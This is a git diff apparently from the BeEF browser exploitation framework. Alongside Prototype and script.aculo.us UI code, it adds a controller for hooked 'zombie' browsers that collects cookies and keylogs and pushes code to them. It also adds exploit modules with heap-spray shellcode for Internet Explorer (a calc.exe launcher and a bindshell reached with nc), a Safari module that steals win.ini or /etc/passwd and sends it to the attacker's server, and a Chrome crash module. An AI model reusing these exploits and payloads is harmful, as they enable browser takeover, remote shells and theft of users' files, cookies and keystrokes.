useCapture) { + var element = $(element); + useCapture = useCapture || false; + + if (name == 'keypress' && + (navigator.appVersion.match(/Konqueror|Safari|KHTML/) + || element.detachEvent)) + name = 'keydown'; + + if (element.removeEventListener) { + element.removeEventListener(name, observer, useCapture); + } else if (element.detachEvent) { + element.detachEvent('on' + name, observer); + } + } +}); + +/* prevent memory leaks in IE */ +if (navigator.appVersion.match(/\bMSIE\b/)) + Event.observe(window, 'unload', Event.unloadCache, false); +var Position = { + // set to true if needed, warning: firefox performance problems + // NOT neeeded for page scrolling, only if draggable contained in + // scrollable elements + includeScrollOffsets: false, + + // must be called before calling withinIncludingScrolloffset, every time the + // page is scrolled + prepare: function() { + this.deltaX = window.pageXOffset + || document.documentElement.scrollLeft + || document.body.scrollLeft + || 0; + this.deltaY = window.pageYOffset + || document.documentElement.scrollTop + || document.body.scrollTop + || 0; + }, + + realOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.scrollTop || 0; + valueL += element.scrollLeft || 0; + element = element.parentNode; + } while (element); + return [valueL, valueT]; + }, + + cumulativeOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + } while (element); + return [valueL, valueT]; + }, + + positionedOffset: function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + element = element.offsetParent; + if (element) { + p = Element.getStyle(element, 'position'); + if (p == 'relative' || p == 'absolute') break; + } + } while (element); + return [valueL, valueT]; + }, + + offsetParent: function(element) { + if (element.offsetParent) return element.offsetParent; + if (element == document.body) return element; + + while ((element = element.parentNode) && element != document.body) + if (Element.getStyle(element, 'position') != 'static') + return element; + + return document.body; + }, + + // caches x/y coordinate pair to use with overlap + within: function(element, x, y) { + if (this.includeScrollOffsets) + return this.withinIncludingScrolloffsets(element, x, y); + this.xcomp = x; + this.ycomp = y; + this.offset = this.cumulativeOffset(element); + + return (y >= this.offset[1] && + y < this.offset[1] + element.offsetHeight && + x >= this.offset[0] && + x < this.offset[0] + element.offsetWidth); + }, + + withinIncludingScrolloffsets: function(element, x, y) { + var offsetcache = this.realOffset(element); + + this.xcomp = x + offsetcache[0] - this.deltaX; + this.ycomp = y + offsetcache[1] - this.deltaY; + this.offset = this.cumulativeOffset(element); + + return (this.ycomp >= this.offset[1] && + this.ycomp < this.offset[1] + element.offsetHeight && + this.xcomp >= this.offset[0] && + this.xcomp < this.offset[0] + element.offsetWidth); + }, + + // within must be called directly before + overlap: function(mode, element) { + if (!mode) return 0; + if (mode == 'vertical') + return ((this.offset[1] + element.offsetHeight) - this.ycomp) / + element.offsetHeight; + if (mode == 'horizontal') + return ((this.offset[0] + element.offsetWidth) - this.xcomp) / + element.offsetWidth; + }, + + clone: function(source, target) { + source = $(source); + target = $(target); + target.style.position = 'absolute'; + var offsets = this.cumulativeOffset(source); + target.style.top = offsets[1] + 'px'; + target.style.left = offsets[0] + 'px'; + target.style.width = source.offsetWidth + 'px'; + target.style.height = source.offsetHeight + 'px'; + }, + + page: function(forElement) { + var valueT = 0, valueL = 0; + + var element = forElement; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + + // Safari fix + if (element.offsetParent==document.body) + if (Element.getStyle(element,'position')=='absolute') break; + + } while (element = element.offsetParent); + + element = forElement; + do { + valueT -= element.scrollTop || 0; + valueL -= element.scrollLeft || 0; + } while (element = element.parentNode); + + return [valueL, valueT]; + }, + + clone: function(source, target) { + var options = Object.extend({ + setLeft: true, + setTop: true, + setWidth: true, + setHeight: true, + offsetTop: 0, + offsetLeft: 0 + }, arguments[2] || {}) + + // find page position of source + source = $(source); + var p = Position.page(source); + + // find coordinate system to use + target = $(target); + var delta = [0, 0]; + var parent = null; + // delta [0,0] will do fine with position: fixed elements, + // position:absolute needs offsetParent deltas + if (Element.getStyle(target,'position') == 'absolute') { + parent = Position.offsetParent(target); + delta = Position.page(parent); + } + + // correct by body offsets (fixes Safari) + if (parent == document.body) { + delta[0] -= document.body.offsetLeft; + delta[1] -= document.body.offsetTop; + } + + // set position + if(options.setLeft) target.style.left = (p[0] - delta[0] + options.offsetLeft) + 'px'; + if(options.setTop) target.style.top = (p[1] - delta[1] + options.offsetTop) + 'px'; + if(options.setWidth) target.style.width = source.offsetWidth + 'px'; + if(options.setHeight) target.style.height = source.offsetHeight + 'px'; + }, + + absolutize: function(element) { + element = $(element); + if (element.style.position == 'absolute') return; + Position.prepare(); + + var offsets = Position.positionedOffset(element); + var top = offsets[1]; + var left = offsets[0]; + var width = element.clientWidth; + var height = element.clientHeight; + + element._originalLeft = left - parseFloat(element.style.left || 0); + element._originalTop = top - parseFloat(element.style.top || 0); + element._originalWidth = element.style.width; + element._originalHeight = element.style.height; + + element.style.position = 'absolute'; + element.style.top = top + 'px';; + element.style.left = left + 'px';; + element.style.width = width + 'px';; + element.style.height = height + 'px';; + }, + + relativize: function(element) { + element = $(element); + if (element.style.position == 'relative') return; + Position.prepare(); + + element.style.position = 'relative'; + var top = parseFloat(element.style.top || 0) - (element._originalTop || 0); + var left = parseFloat(element.style.left || 0) - (element._originalLeft || 0); + + element.style.top = top + 'px'; + element.style.left = left + 'px'; + element.style.height = element._originalHeight; + element.style.width = element._originalWidth; + } +} + +// Safari returns margins on body which is incorrect if the child is absolutely +// positioned. For performance reasons, redefine Position.cumulativeOffset for +// KHTML/WebKit only. +if (/Konqueror|Safari|KHTML/.test(navigator.userAgent)) { + Position.cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + if (element.offsetParent == document.body) + if (Element.getStyle(element, 'position') == 'absolute') break; + + element = element.offsetParent; + } while (element); + + return [valueL, valueT]; + } +} \ No newline at end of file diff --git a/js/scriptaculous.js b/js/scriptaculous.js new file mode 100644 index 000000000..e9abf14ad --- /dev/null +++ b/js/scriptaculous.js @@ -0,0 +1,47 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +var Scriptaculous = { + Version: '1.6.2', + require: function(libraryName) { + // inserting via DOM fails in Safari 2.0, so brute force approach + document.write(''); + }, + load: function() { + if((typeof Prototype=='undefined') || + (typeof Element == 'undefined') || + (typeof Element.Methods=='undefined') || + parseFloat(Prototype.Version.split(".")[0] + "." + + Prototype.Version.split(".")[1]) < 1.5) + throw("script.aculo.us requires the Prototype JavaScript framework >= 1.5.0"); + + $A(document.getElementsByTagName("script")).findAll( function(s) { + return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/)) + }).each( function(s) { + var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,''); + var includes = s.src.match(/\?.*load=([a-z,]*)/); + (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider').split(',').each( + function(include) { Scriptaculous.require(path+include+'.js') }); + }); + } +} + +Scriptaculous.load(); \ No newline at end of file diff --git a/js/slider.js b/js/slider.js new file mode 100644 index 000000000..696992ca1 --- /dev/null +++ b/js/slider.js @@ -0,0 +1,292 @@ +// Copyright (c) 2005 Marty Haught, Thomas Fuchs +// +// See http://script.aculo.us for more info +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +if(!Control) var Control = {}; +Control.Slider = Class.create(); + +// options: +// axis: 'vertical', or 'horizontal' (default) +// +// callbacks: +// onChange(value) +// onSlide(value) +Control.Slider.prototype = { + initialize: function(handle, track, options) { + var slider = this; + + if(handle instanceof Array) { + this.handles = handle.collect( function(e) { return $(e) }); + } else { + this.handles = [$(handle)]; + } + + this.track = $(track); + this.options = options || {}; + + this.axis = this.options.axis || 'horizontal'; + this.increment = this.options.increment || 1; + this.step = parseInt(this.options.step || '1'); + this.range = this.options.range || $R(0,1); + + this.value = 0; // assure backwards compat + this.values = this.handles.map( function() { return 0 }); + this.spans = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false; + this.options.startSpan = $(this.options.startSpan || null); + this.options.endSpan = $(this.options.endSpan || null); + + this.restricted = this.options.restricted || false; + + this.maximum = this.options.maximum || this.range.end; + this.minimum = this.options.minimum || this.range.start; + + // Will be used to align the handle onto the track, if necessary + this.alignX = parseInt(this.options.alignX || '0'); + this.alignY = parseInt(this.options.alignY || '0'); + + this.trackLength = this.maximumOffset() - this.minimumOffset(); + + this.handleLength = this.isVertical() ? + (this.handles[0].offsetHeight != 0 ? + this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) : + (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth : + this.handles[0].style.width.replace(/px$/,"")); + + this.active = false; + this.dragging = false; + this.disabled = false; + + if(this.options.disabled) this.setDisabled(); + + // Allowed values array + this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false; + if(this.allowedValues) { + this.minimum = this.allowedValues.min(); + this.maximum = this.allowedValues.max(); + } + + this.eventMouseDown = this.startDrag.bindAsEventListener(this); + this.eventMouseUp = this.endDrag.bindAsEventListener(this); + this.eventMouseMove = this.update.bindAsEventListener(this); + + // Initialize handles in reverse (make sure first handle is active) + this.handles.each( function(h,i) { + i = slider.handles.length-1-i; + slider.setValue(parseFloat( + (slider.options.sliderValue instanceof Array ? + slider.options.sliderValue[i] : slider.options.sliderValue) || + slider.range.start), i); + Element.makePositioned(h); // fix IE + Event.observe(h, "mousedown", slider.eventMouseDown); + }); + + Event.observe(this.track, "mousedown", this.eventMouseDown); + Event.observe(document, "mouseup", this.eventMouseUp); + Event.observe(document, "mousemove", this.eventMouseMove); + + this.initialized = true; + }, + dispose: function() { + var slider = this; + Event.stopObserving(this.track, "mousedown", this.eventMouseDown); + Event.stopObserving(document, "mouseup", this.eventMouseUp); + Event.stopObserving(document, "mousemove", this.eventMouseMove); + this.handles.each( function(h) { + Event.stopObserving(h, "mousedown", slider.eventMouseDown); + }); + }, + setDisabled: function(){ + this.disabled = true; + }, + setEnabled: function(){ + this.disabled = false; + }, + getNearestValue: function(value){ + if(this.allowedValues){ + if(value >= this.allowedValues.max()) return(this.allowedValues.max()); + if(value <= this.allowedValues.min()) return(this.allowedValues.min()); + + var offset = Math.abs(this.allowedValues[0] - value); + var newValue = this.allowedValues[0]; + this.allowedValues.each( function(v) { + var currentOffset = Math.abs(v - value); + if(currentOffset <= offset){ + newValue = v; + offset = currentOffset; + } + }); + return newValue; + } + if(value > this.range.end) return this.range.end; + if(value < this.range.start) return this.range.start; + return value; + }, + setValue: function(sliderValue, handleIdx){ + if(!this.active) { + this.activeHandleIdx = handleIdx || 0; + this.activeHandle = this.handles[this.activeHandleIdx]; + this.updateStyles(); + } + handleIdx = handleIdx || this.activeHandleIdx || 0; + if(this.initialized && this.restricted) { + if((handleIdx>0) && (sliderValuethis.values[handleIdx+1])) + sliderValue = this.values[handleIdx+1]; + } + sliderValue = this.getNearestValue(sliderValue); + this.values[handleIdx] = sliderValue; + this.value = this.values[0]; // assure backwards compat + + this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] = + this.translateToPx(sliderValue); + + this.drawSpans(); + if(!this.dragging || !this.event) this.updateFinished(); + }, + setValueBy: function(delta, handleIdx) { + this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta, + handleIdx || this.activeHandleIdx || 0); + }, + translateToPx: function(value) { + return Math.round( + ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) * + (value - this.range.start)) + "px"; + }, + translateToValue: function(offset) { + return ((offset/(this.trackLength-this.handleLength) * + (this.range.end-this.range.start)) + this.range.start); + }, + getRange: function(range) { + var v = this.values.sortBy(Prototype.K); + range = range || 0; + return $R(v[range],v[range+1]); + }, + minimumOffset: function(){ + return(this.isVertical() ? this.alignY : this.alignX); + }, + maximumOffset: function(){ + return(this.isVertical() ? + (this.track.offsetHeight != 0 ? this.track.offsetHeight : + this.track.style.height.replace(/px$/,"")) - this.alignY : + (this.track.offsetWidth != 0 ? this.track.offsetWidth : + this.track.style.width.replace(/px$/,"")) - this.alignY); + }, + isVertical: function(){ + return (this.axis == 'vertical'); + }, + drawSpans: function() { + var slider = this; + if(this.spans) + $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) }); + if(this.options.startSpan) + this.setSpan(this.options.startSpan, + $R(0, this.values.length>1 ? this.getRange(0).min() : this.value )); + if(this.options.endSpan) + this.setSpan(this.options.endSpan, + $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum)); + }, + setSpan: function(span, range) { + if(this.isVertical()) { + span.style.top = this.translateToPx(range.start); + span.style.height = this.translateToPx(range.end - range.start + this.range.start); + } else { + span.style.left = this.translateToPx(range.start); + span.style.width = this.translateToPx(range.end - range.start + this.range.start); + } + }, + updateStyles: function() { + this.handles.each( function(h){ Element.removeClassName(h, 'selected') }); + Element.addClassName(this.activeHandle, 'selected'); + }, + startDrag: function(event) { + if(Event.isLeftClick(event)) { + if(!this.disabled){ + this.active = true; + + var handle = Event.element(event); + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var track = handle; + if(track==this.track) { + var offsets = Position.cumulativeOffset(this.track); + this.event = event; + this.setValue(this.translateToValue( + (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2) + )); + var offsets = Position.cumulativeOffset(this.activeHandle); + this.offsetX = (pointer[0] - offsets[0]); + this.offsetY = (pointer[1] - offsets[1]); + } else { + // find the handle (prevents issues with Safari) + while((this.handles.indexOf(handle) == -1) && handle.parentNode) + handle = handle.parentNode; + + this.activeHandle = handle; + this.activeHandleIdx = this.handles.indexOf(this.activeHandle); + this.updateStyles(); + + var offsets = Position.cumulativeOffset(this.activeHandle); + this.offsetX = (pointer[0] - offsets[0]); + this.offsetY = (pointer[1] - offsets[1]); + } + } + Event.stop(event); + } + }, + update: function(event) { + if(this.active) { + if(!this.dragging) this.dragging = true; + this.draw(event); + // fix AppleWebKit rendering + if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0); + Event.stop(event); + } + }, + draw: function(event) { + var pointer = [Event.pointerX(event), Event.pointerY(event)]; + var offsets = Position.cumulativeOffset(this.track); + pointer[0] -= this.offsetX + offsets[0]; + pointer[1] -= this.offsetY + offsets[1]; + this.event = event; + this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] )); + if(this.initialized && this.options.onSlide) + this.options.onSlide(this.values.length>1 ? this.values : this.value, this); + }, + endDrag: function(event) { + if(this.active && this.dragging) { + this.finishDrag(event, true); + Event.stop(event); + } + this.active = false; + this.dragging = false; + }, + finishDrag: function(event, success) { + this.active = false; + this.dragging = false; + this.updateFinished(); + }, + updateFinished: function() { + if(this.initialized && this.options.onChange) + this.options.onChange(this.values.length>1 ? this.values : this.value, this); + this.event = null; + } +} \ No newline at end of file diff --git a/js/zombie.js b/js/zombie.js new file mode 100644 index 000000000..f40b60365 --- /dev/null +++ b/js/zombie.js @@ -0,0 +1,200 @@ +// Copyright (c) 2006-2009, Wade Alcorn +// All Rights Reserved +// wade@bindshell.net - http://www.bindshell.net + +function update_zombie_div(div, id, detail) { + new Ajax.Updater(div, 'get_zombie_details.php?zombie=' + id + '&detail=' + detail, {asynchronous:true}); +} + +// --[ ZOMBIE CLASS +var Zombie = Class.create(); +Zombie.prototype = { + initialize: function(id, frequency) { + this.version = '0.1', + this.authors = 'Wade Alcorn , Alexios Fakos ', + this.frequency = frequency, + this.id = id, + this.ip = '', + this.agent_image = '', + this.os_image = '' + }, + create_button: function(highlighted) { + }, + get_results: function() { + update_zombie_div('zombie_results_data', this.id, 'results'); + }, + get_keylog: function() { + update_zombie_div('keylog_data', this.id, 'keylog'); + }, + get_static_data: function() { + update_zombie_div('os_data', this.id, 'os'); + update_zombie_div('browser_data', this.id, 'browser'); + update_zombie_div('screen_data', this.id, 'screen'); + update_zombie_div('cookie_data', this.id, 'cookie'); + update_zombie_div('content_data', this.id, 'content'); + update_zombie_div('loc_data', this.id, 'loc'); + update_zombie_div('keylog_data', this.id, 'keylog'); + update_zombie_div('zombie_results_data', this.id, 'results'); + }, + set_id: function(zombie) { + this.id = zombie; + + this.get_static_data(); + this.get_results(); + this.get_keylog(); + + element = Builder.node('div',{id:'zombie_header'},[ + Builder.node('img',{src:'/beef/images/' + this.agent_image,border:"0",height:"16",width:"16"}), + Builder.node('img',{src:'/beef/images/' + this.os_image,border:"0",height:"16",width:"16"}), + " " + this.ip + ]); + + $('zombie_icons').innerHTML = ""; + $('zombie_icons').appendChild(element); + }, + heartbeat: function() { + this.get_results(); + this.get_keylog(); + } +} + +// --[ ZOMBIELIST CLASS +var ZombieList = Class.create(); +ZombieList.prototype = { + initialize: function(frequency) { + this.version = '0.1', + this.authors = 'Wade Alcorn , Alexios Fakos ', + this.frequency = frequency, + + this.zombies = new Array(); + this.selected_zombies = new Array(); + this.zombie_data = new Array(); + this.zombie_ids = new Array(); + this.new_zombies = new Array(); + this.expired_zombies = new Array(); + this.current_zombie = 'none'; + this.zombie = new Zombie(this.current_zombie, this.frequency); + }, + update: function() { + + var x = new Ajax.Request( + 'get_zombie_details.php?zombie=all&detail=list', + { + method: 'get', + asynchronous: false, + evalScripts: false, +// parameters: 'func=' + func + '&zombie=' + this.zombie + } + ); + var raw_zom_id_str = x.transport.responseText; + + if(raw_zom_id_str.match(/none/)) { + $('zombiesdyn').innerHTML = "No Zombies Available"; + return; + } else if (this.zombie_ids.length == 0) { + $('zombiesdyn').innerHTML = ""; + } + + zom_id_arr = raw_zom_id_str.split(','); + + this.new_zombies = diff(zom_id_arr, this.zombie_ids); + this.expired_zombies = diff(this.zombie_ids, zom_id_arr); + this.expired_zombies = this.expired_zombies.unique(); + + this.zombie_ids = this.zombies.concat(zom_id_arr); + this.zombie_ids = this.zombie_ids.unique(); + + for(var i = 0; i < this.new_zombies.length; i++) { + this.add(this.new_zombies[i]); + } + + for(var i = 0; i < this.expired_zombies.length; i++) { + $('zombiesdyn').removeChild(this.zombie_data[this.expired_zombies[i]]['button_element']); + } + }, + add: function(zombie_id) { + this.zombie_data[zombie_id] = new Array(); + + var x = new Ajax.Request( + 'get_zombie_details.php?zombie=' + zombie_id + '&detail=metadata', + { + method: 'get', + asynchronous: false, + evalScripts: false, + } + ); + var raw_zom_id_str = x.transport.responseText; + zombie_details_arr = raw_zom_id_str.split(','); + + this.zombie_data[zombie_id]['ip'] = zombie_details_arr[0]; + this.zombie_data[zombie_id]['agent_image'] = zombie_details_arr[1]; + this.zombie_data[zombie_id]['os_image'] = zombie_details_arr[2]; + + element = Builder.node('div',{id:'zombies'},[ + Builder.node('a',{href:"javascript:select_zombie('" + zombie_id + "')"},[ + Builder.node('img',{src:'/beef/images/' + this.zombie_data[zombie_id]['agent_image'],align:"top",border:"0",height:"12",width:"12"}), + Builder.node('img',{src:'/beef/images/' + this.zombie_data[zombie_id]['os_image'],align:"top",border:"0",height:"12",width:"12"}), + Builder.node('div',{id:'zombietext'},[this.zombie_data[zombie_id]['ip']]), + ]), + ]); + + this.zombie_data[zombie_id]['button_element'] = element; + + $('zombiesdyn').appendChild(element); + + }, + highlight_button: function(zombie_id) { + this.zombie_data[zombie_id]['button_element'].style.backgroundColor='#CCCCCC' + }, + unhighlight_button: function(zombie_id) { + this.zombie_data[zombie_id]['button_element'].style.backgroundColor='#FFFFFF' + }, + select_zombie: function(zombie_id) { + if(this.selected_zombies.indexOf(zombie_id) < 0) { + this.selected_zombies.push(zombie_id); + this.highlight_button(zombie_id); + } else { + this.selected_zombies.splice(this.selected_zombies.indexOf(zombie_id),1); + this.unhighlight_button(zombie_id); + } + }, + send_code: function(code) { + if(!this.selected_zombies.length) { + beef_error('No Zombie Selected. Select zombie(s) in the sidebar'); + } + + // this is a work-around for a bug in Ajax.Updater - it doens't like '==' in a get param + if(decode64(code).length%3 == 1) { + tmp_code = decode64(code); + tmp_code += ";"; + code = encode64(tmp_code); + } + + this.selected_zombies.each( function(id) { + var params = 'data='+code; + new Ajax.Updater('module_status', 'send_cmds.php?action=cmd&zombie=' + id, {method:'post',parameters:params,asynchronous:false}); + }); + }, + heartbeat: function() { + this.update(); + this.zombie.heartbeat(); + + // update menu + update_zombie_div('zombie_menu', 'none', 'menu'); + }, + set_current_zombie: function(zombie_id) { + this.current_zombie = zombie_id; + + this.zombie.ip = this.zombie_data[zombie_id]['ip']; + this.zombie.agent_image = this.zombie_data[zombie_id]['agent_image']; + this.zombie.os_image = this.zombie_data[zombie_id]['os_image']; + + this.zombie.set_id(zombie_id); + }, + get_html_buttons: function() { + update_zombie_div('zombiesdyn', this.current_zombie, 'buttons'); + }, + clear_current_zombie_results: function() { + update_zombie_div('zombie_results_data', this.current_zombie, 'deleteresults'); + } +} diff --git a/modules/browser/cve_2006_3730/index.php b/modules/browser/cve_2006_3730/index.php new file mode 100644 index 000000000..93a2034a0 --- /dev/null +++ b/modules/browser/cve_2006_3730/index.php @@ -0,0 +1,62 @@ + + + + + + + +

    CVE-2006-3730 (MS06-057)
    +This module will launch calc.exe (Calculater) on Microsoft Windows. A vulnerability in +Microsoft Internet Explorer WebViewFolderIcon (setSlice) is exploited.

    +
    +
    + + +
    +
    + diff --git a/modules/browser/cve_2006_3730/name.txt b/modules/browser/cve_2006_3730/name.txt new file mode 100644 index 000000000..98a3e4988 --- /dev/null +++ b/modules/browser/cve_2006_3730/name.txt @@ -0,0 +1 @@ +IE6 setSlice calc.exe (CVE-2006-3730) diff --git a/modules/browser/cve_2006_3730/template.js b/modules/browser/cve_2006_3730/template.js new file mode 100644 index 000000000..25bf178c1 --- /dev/null +++ b/modules/browser/cve_2006_3730/template.js @@ -0,0 +1,38 @@ + var heapSprayToAddress = 0x05050505; + var payLoadCode = unescape( + "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" + + "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" + + "%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304" + + "%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0" + + "%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%uFE98%u0E8A" + + "%uFF57%u63E7%u6C61%u0063"); + var heapBlockSize = 0x400000; + var payLoadSize = payLoadCode.length * 2; + var spraySlideSize = heapBlockSize - (payLoadSize+0x38); + var spraySlide = unescape("%u0505%u0505"); + spraySlide = getSpraySlide(spraySlide,spraySlideSize); + heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; + memory = new Array(); + + for (i=0;i + + + + + + +
    CVE-2009-0075 (MS09-002)
    +Internet Explorer 7 Uninitialized Memory Corruption Exploit. This module targets +Windows XP SP2. Successful exploitation will start a bindshell listening on port +28879.

    + +The following command will connect to the listening bindshell: +
    +    nc zombieip 28879
    +
    + +
    +
    +
    UserAgent Regexp
    + + + +
    +
    + diff --git a/modules/browser/cve_2009_0075/name.txt b/modules/browser/cve_2009_0075/name.txt new file mode 100644 index 000000000..5f3b42db3 --- /dev/null +++ b/modules/browser/cve_2009_0075/name.txt @@ -0,0 +1 @@ +XP SP2 IE Bindshell (CVE-2009-0075) diff --git a/modules/browser/cve_2009_0075/template.js b/modules/browser/cve_2009_0075/template.js new file mode 100644 index 000000000..eb47f0062 --- /dev/null +++ b/modules/browser/cve_2009_0075/template.js @@ -0,0 +1,35 @@ +if(navigator.userAgent.match(REGEXP)) { + var shellcode=unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb"); + + var array = new Array(); + + //Don't need change but for execute time you can change ;) + + var calc = 0x100000-(shellcode.length*2+0x01020); + + // Spray or Not :-?? + + var point = unescape("%u0D0D%u0D0D"); + while(point.length + + + + + + +
    CVE-2009-0137
    +This Safari exploit module will steal a file from the file system. On Windows +the 'c:\windows\win.ini' will be stolen and on a Mac the '/etc/passwd' will +be stolen.

    +The results will be displayed in the log.

    +
    +
    + + +
    +
    + diff --git a/modules/browser/cve_2009_0137/name.txt b/modules/browser/cve_2009_0137/name.txt new file mode 100644 index 000000000..3618c1be0 --- /dev/null +++ b/modules/browser/cve_2009_0137/name.txt @@ -0,0 +1 @@ +Safari File Theft (CVE-2009-0137) diff --git a/modules/browser/cve_2009_0137/snatchxml.php b/modules/browser/cve_2009_0137/snatchxml.php new file mode 100644 index 000000000..0bb0952aa --- /dev/null +++ b/modules/browser/cve_2009_0137/snatchxml.php @@ -0,0 +1,20 @@ + + +beef_url = ""; + +// ---[ RETURN_RESULT +// send result to beef +function return_result(action, data) { + var img_tmp = new Image(); + var src = beef_url + '/hook/return.php?BeEFSession=&action=' + action + '&data=' + escape(data); + img_tmp.src = src; +} + +return_result(result_id, file_content); + diff --git a/modules/browser/cve_2009_0137/template.js b/modules/browser/cve_2009_0137/template.js new file mode 100644 index 000000000..190962640 --- /dev/null +++ b/modules/browser/cve_2009_0137/template.js @@ -0,0 +1,11 @@ +function do_main(){ + var iframe = document.createElement('iframe'); + // pass result_id in the url + iframe.src = beef_url + 'modules/symmetric/xplt_cve_2009_0137/xss-max.xml' + '#' + result_id; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); +} + +do_main(); \ No newline at end of file diff --git a/modules/browser/cve_2009_0137/xss-max.xml b/modules/browser/cve_2009_0137/xss-max.xml new file mode 100644 index 000000000..0f67aa371 --- /dev/null +++ b/modules/browser/cve_2009_0137/xss-max.xml @@ -0,0 +1,66 @@ + + + + + Local XSS + http://www.bindshell.net + BeEF Browser Exploitation Framework + + + BeEF module + + + + + + +Local XSS + http://www.bindshell.net + none + + + RSS sploit + + + + + + + + + + + diff --git a/modules/browser/dos_chrome/index.php b/modules/browser/dos_chrome/index.php new file mode 100644 index 000000000..3c390ce61 --- /dev/null +++ b/modules/browser/dos_chrome/index.php @@ -0,0 +1,71 @@ + + + + + + + +
    DoS Chrome "throw exception" Memory Exhaustion
    +Google Chrome 1.0.154.53 "throw exception" Remote Crash and Denial of Service
    +Executing NOP Sled and Shellcode to create an Exception.

    + +
    +
    + + +
    +
